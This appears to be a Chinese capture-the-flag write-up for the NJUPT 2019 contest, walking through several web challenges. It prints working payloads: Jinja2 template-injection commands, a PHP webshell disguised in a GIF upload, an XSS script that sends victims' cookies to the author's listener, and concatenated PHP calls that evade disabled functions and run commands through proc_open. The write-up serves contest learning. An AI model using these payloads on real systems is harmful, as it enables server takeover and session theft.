NJUPT2019南邮校赛
easyphp
1 |
|
第一层绕过直接在num后面加入\n
第二层绕过需要找一个是ce
开头的,然后ce
后面是纯数字的md5值,爆破了好久
第三层绕过把GET传入的变量名改成q+w+q
即可,然后执行命令nl *.php
脚本如下
1 | import requests |
replace
1 | POST /index.php HTTP/1.1 |
然后菜刀连接即可
flask
可以执行
1 | {{[].__class__.__bases__[0].__subclasses__()[59].__init__.func_globals.linecache.os.popen('id').read()}} |
fuzz后过滤了flag
字符串
1 | {{[].__class__.__bases__[0].__subclasses__()[59].__init__.func_globals.linecache.os.popen('cat ../*').read()}} |
Upload your Shell
上传页面为http://nctf2019.x1ct34m.com:60002/index.php?action=imgs.html
然后上传一个gif文件,内容为
1 | GIF89a<script language="php">echo 123;</script> |
然后就会得到提示
1 | <h1>Success!</h1><h1>filepath:/var/www/html/upload-imgs/ce3d64bbda44d24bb25ad9bc0b24a621/Th1s_is_a_fl4g.jpg</h1> |
访问http://nctf2019.x1ct34m.com:60002/index.php?action=/var/www/html/upload-imgs/ce3d64bbda44d24bb25ad9bc0b24a621/Th1s_is_a_fl4g.jpg
即可得到flag
simple_xss
有公网vps,然后创建4.js,然后在vps上nc -vlp 10006
1 | var image=new Image(); |
post发送
1 | POST /home.php HTTP/1.1 |
然后得到结果
1 | Listening on [0.0.0.0] (family 0, port 10006) |
接下来只要替换cookie即可得到flag
1 | GET /home.php HTTP/1.1 |
1 | HTTP/1.1 200 OK |
hacker_backdoor
1 |
|
这里可以使用拼接来完成,file_exists
比较好绕过,先构造phpinfo()
1 | $a='p'.'h'.'p'.'i'.'n'.'f'.'o';$a(); |
查看disable_functions
,发现了被禁用函数
1 | pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,exec,system,shell_exec,popen,passthru,link,symlink,syslog,imap_open,ld,error_log,mail,assert,file_put_contents,scandir,file_get_contents,readfile,fread,fopen,chdir,unlink,delete |
然后发现proc_open()
没有被过滤,并且glob也没有被过滤,我们先读取/下的文件
1 | $a='p'.'r'.'i'.'n'.'t'.'_'.'r';$s='g'.'l'.'o'.'b';$a($s('/*')); |
然后发现flag不能被直接读取,只能靠执行readflag进行读取,然后用proc_open()去执行readflag文件即可
1 | $w='f'.'w'.'r'.'i'.'t'.'e';$c='f'.'c'.'l'.'o'.'s'.'e';$p='p'.'r'.'o'.'c'.'_'.'o'.'p'.'e'.'n';$pp='p'.'i'.'p'.'e';$s='s'.'t'.'r'.'e'.'a'.'m'.'_'.'g'.'e'.'t'.'_'.'c'.'o'.'n'.'t'.'e'.'n'.'t'.'s';$descriptorspec=[[$pp,"r"],[$pp,"w"]];$process=$p('sh', $descriptorspec,$d);$w($d[0],'/readflag');$c($d[0]);print($s($d[1]));$c($d[1]); |